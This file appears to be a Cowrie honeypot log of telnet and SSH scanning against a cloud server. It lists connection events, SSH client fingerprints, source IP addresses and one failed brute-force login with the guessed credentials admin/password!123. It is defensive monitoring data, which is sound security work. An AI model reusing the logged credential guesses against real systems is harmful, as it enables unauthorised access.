{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41636,"dst_ip":"159.203.135.109","dst_port":23,"session":"0687c3d9284e","protocol":"telnet","message":"New connection: 188.166.220.49:41636 (159.203.135.109:23) [session: 0687c3d9284e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:40.914999Z"}
{"eventid":"cowrie.session.closed","duration":34.84232187271118,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:41.040794Z","src_ip":"46.4.8.162","session":"64d6128142ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55241370201111,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:41.350159Z","src_ip":"46.4.8.162","session":"e3e52432cd13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.11707067489624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:41.488242Z","src_ip":"46.4.8.162","session":"c90d98116afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58702,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd88b7ac9bdc","protocol":"telnet","message":"New connection: 94.23.76.26:58702 (159.203.135.109:23) [session: bd88b7ac9bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:42.225229Z"}
{"eventid":"cowrie.session.closed","duration":30.551866054534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:43.100667Z","src_ip":"75.119.159.60","session":"e5e8efb2befe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771394729614258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:44.119168Z","src_ip":"75.119.159.60","session":"ad167c5e1106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86284613609314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:44.258013Z","src_ip":"35.187.38.22","session":"a8b767d8e885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46130,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc23bddef8e","protocol":"telnet","message":"New connection: 35.187.38.22:46130 (159.203.135.109:23) [session: 4bc23bddef8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:44.262604Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46164,"dst_ip":"159.203.135.109","dst_port":23,"session":"d02b6182769a","protocol":"telnet","message":"New connection: 35.187.38.22:46164 (159.203.135.109:23) [session: d02b6182769a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:44.292756Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47982,"dst_ip":"159.203.135.109","dst_port":23,"session":"af987caf4222","protocol":"telnet","message":"New connection: 46.4.8.162:47982 (159.203.135.109:23) [session: af987caf4222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:46.967453Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":48922,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf461b3c0c6","protocol":"telnet","message":"New connection: 94.23.76.26:48922 (159.203.135.109:23) [session: dbf461b3c0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:47.201575Z"}
{"eventid":"cowrie.session.closed","duration":33.211505651474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:48.009988Z","src_ip":"46.4.8.162","session":"a9ff0e464073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.376999378204346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:48.096621Z","src_ip":"75.119.159.60","session":"fcd54d76826b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47986,"dst_ip":"159.203.135.109","dst_port":23,"session":"89fee710afad","protocol":"telnet","message":"New connection: 46.4.8.162:47986 (159.203.135.109:23) [session: 89fee710afad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:48.270724Z"}
{"eventid":"cowrie.session.closed","duration":30.539541721343994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:49.058553Z","src_ip":"46.4.8.162","session":"b7b79dae3bb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807227849960327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:49.103151Z","src_ip":"75.119.159.60","session":"cae72d82d25b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47992,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3465b29c2a","protocol":"telnet","message":"New connection: 46.4.8.162:47992 (159.203.135.109:23) [session: 6e3465b29c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:49.616039Z"}
{"eventid":"cowrie.session.closed","duration":33.705315589904785,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:50.011311Z","src_ip":"46.4.8.162","session":"3fbb2a469a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804927587509155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:51.267461Z","src_ip":"35.187.38.22","session":"84d503c70087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48000,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f003350191","protocol":"telnet","message":"New connection: 46.4.8.162:48000 (159.203.135.109:23) [session: f0f003350191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:51.290210Z"}
{"eventid":"cowrie.session.closed","duration":34.83347415924072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:51.534309Z","src_ip":"46.4.8.162","session":"e565f08a8eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1916606426239,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:51.816241Z","src_ip":"46.4.8.162","session":"e445ea6d2c36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":46514,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a4ab3511f6","protocol":"telnet","message":"New connection: 75.119.159.60:46514 (10.17.0.5:23) [session: d8a4ab3511f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:52.406511Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":48932,"dst_ip":"159.203.135.109","dst_port":23,"session":"67049fdcaf84","protocol":"telnet","message":"New connection: 94.23.76.26:48932 (159.203.135.109:23) [session: 67049fdcaf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:55.231993Z"}
{"eventid":"cowrie.session.closed","duration":30.768630981445312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:56.064579Z","src_ip":"75.119.159.60","session":"53f709f8d6ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006182432174683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:56.106736Z","src_ip":"75.119.159.60","session":"fec80e117aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":49554,"dst_ip":"10.17.0.5","dst_port":23,"session":"630953e35879","protocol":"telnet","message":"New connection: 75.119.159.60:49554 (10.17.0.5:23) [session: 630953e35879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:56.235909Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":49584,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6472c162305","protocol":"telnet","message":"New connection: 75.119.159.60:49584 (10.17.0.5:23) [session: a6472c162305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:56.253073Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55826,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e5ede7d91b3","protocol":"telnet","message":"New connection: 46.4.8.162:55826 (159.203.135.109:23) [session: 0e5ede7d91b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:57.099383Z"}
{"eventid":"cowrie.session.closed","duration":31.288182973861694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:58.558174Z","src_ip":"75.119.159.60","session":"85d17da85abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.283268690109253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:59.257058Z","src_ip":"35.187.38.22","session":"ec760f390358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565308570861816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:59.304932Z","src_ip":"46.4.8.162","session":"d2311c8c175d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146382808685303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:00.104644Z","src_ip":"75.119.159.60","session":"6e41478965b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":39146,"dst_ip":"159.203.135.109","dst_port":23,"session":"56151d3ae843","protocol":"telnet","message":"New connection: 94.23.76.26:39146 (159.203.135.109:23) [session: 56151d3ae843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:00.371932Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.123.93","src_port":46668,"dst_ip":"159.203.135.109","dst_port":23,"session":"be7811456501","protocol":"telnet","message":"New connection: 217.156.123.93:46668 (159.203.135.109:23) [session: be7811456501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:00.430089Z"}
{"eventid":"cowrie.session.closed","duration":34.12833642959595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:02.983291Z","src_ip":"46.4.8.162","session":"f6cd45e0271e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2925124168396,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:03.634520Z","src_ip":"46.4.8.162","session":"05c6ac0681ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56452,"dst_ip":"159.203.135.109","dst_port":22,"session":"0322eb4a81df","protocol":"ssh","message":"New connection: 159.203.92.129:56452 (159.203.135.109:22) [session: 0322eb4a81df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:04.505697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:04.817038Z","src_ip":"159.203.92.129","session":"0322eb4a81df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:04.821046Z","src_ip":"159.203.92.129","session":"0322eb4a81df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.425864696502686,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:04.928272Z","src_ip":"46.4.8.162","session":"080045eb3292","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password!123","message":"login attempt [admin/password!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:05.451923Z","src_ip":"159.203.92.129","session":"0322eb4a81df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47320,"dst_ip":"159.203.135.109","dst_port":23,"session":"64090f02bbd2","protocol":"telnet","message":"New connection: 46.4.8.162:47320 (159.203.135.109:23) [session: 64090f02bbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:05.937526Z"}
{"eventid":"cowrie.session.closed","duration":30.795350790023804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:06.069083Z","src_ip":"94.23.76.26","session":"ac2c7be74468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:06.509936Z","src_ip":"159.203.92.129","session":"0322eb4a81df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":56658,"dst_ip":"10.17.0.5","dst_port":23,"session":"bccc08a13d0a","protocol":"telnet","message":"New connection: 75.119.159.60:56658 (10.17.0.5:23) [session: bccc08a13d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:07.040269Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":51136,"dst_ip":"159.203.135.109","dst_port":23,"session":"091da174155c","protocol":"telnet","message":"New connection: 35.187.38.22:51136 (159.203.135.109:23) [session: 091da174155c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:07.506643Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47326,"dst_ip":"159.203.135.109","dst_port":23,"session":"448d5e615e1d","protocol":"telnet","message":"New connection: 46.4.8.162:47326 (159.203.135.109:23) [session: 448d5e615e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:08.155245Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59546,"dst_ip":"159.203.135.109","dst_port":23,"session":"125e55cc9606","protocol":"telnet","message":"New connection: 94.23.76.26:59546 (159.203.135.109:23) [session: 125e55cc9606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:08.213265Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59550,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d903fbe8f55","protocol":"telnet","message":"New connection: 94.23.76.26:59550 (159.203.135.109:23) [session: 4d903fbe8f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:08.302757Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":57632,"dst_ip":"10.17.0.5","dst_port":23,"session":"945b82828895","protocol":"telnet","message":"New connection: 75.119.159.60:57632 (10.17.0.5:23) [session: 945b82828895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:08.316718Z"}
{"eventid":"cowrie.session.closed","duration":31.024005651474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:09.053737Z","src_ip":"94.23.76.26","session":"986b05e90d09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757246255874634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:09.243823Z","src_ip":"75.119.159.60","session":"bfe1145f6423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59558,"dst_ip":"159.203.135.109","dst_port":23,"session":"41cd98e64413","protocol":"telnet","message":"New connection: 94.23.76.26:59558 (159.203.135.109:23) [session: 41cd98e64413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:09.291138Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3151c56492d","protocol":"telnet","message":"New connection: 75.119.159.60:58372 (10.17.0.5:23) [session: a3151c56492d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:09.297609Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59566,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ee5bc27bce6","protocol":"telnet","message":"New connection: 94.23.76.26:59566 (159.203.135.109:23) [session: 6ee5bc27bce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:09.429219Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":53439,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3015a28a854","protocol":"ssh","message":"New connection: 223.197.186.7:53439 (159.203.135.109:22) [session: f3015a28a854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.009318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.017490Z","src_ip":"223.197.186.7","session":"f3015a28a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":58926,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e020def61ac","protocol":"telnet","message":"New connection: 75.119.159.60:58926 (10.17.0.5:23) [session: 5e020def61ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.042418Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":41000,"dst_ip":"159.203.135.109","dst_port":22,"session":"e25badd909be","protocol":"ssh","message":"New connection: 45.78.208.179:41000 (159.203.135.109:22) [session: e25badd909be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.050240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.055894Z","src_ip":"45.78.208.179","session":"e25badd909be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.245936Z","src_ip":"223.197.186.7","session":"f3015a28a854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.298883Z","src_ip":"45.78.208.179","session":"e25badd909be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59582,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9b3a617830","protocol":"telnet","message":"New connection: 94.23.76.26:59582 (159.203.135.109:23) [session: 1b9b3a617830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:10.309206Z"}
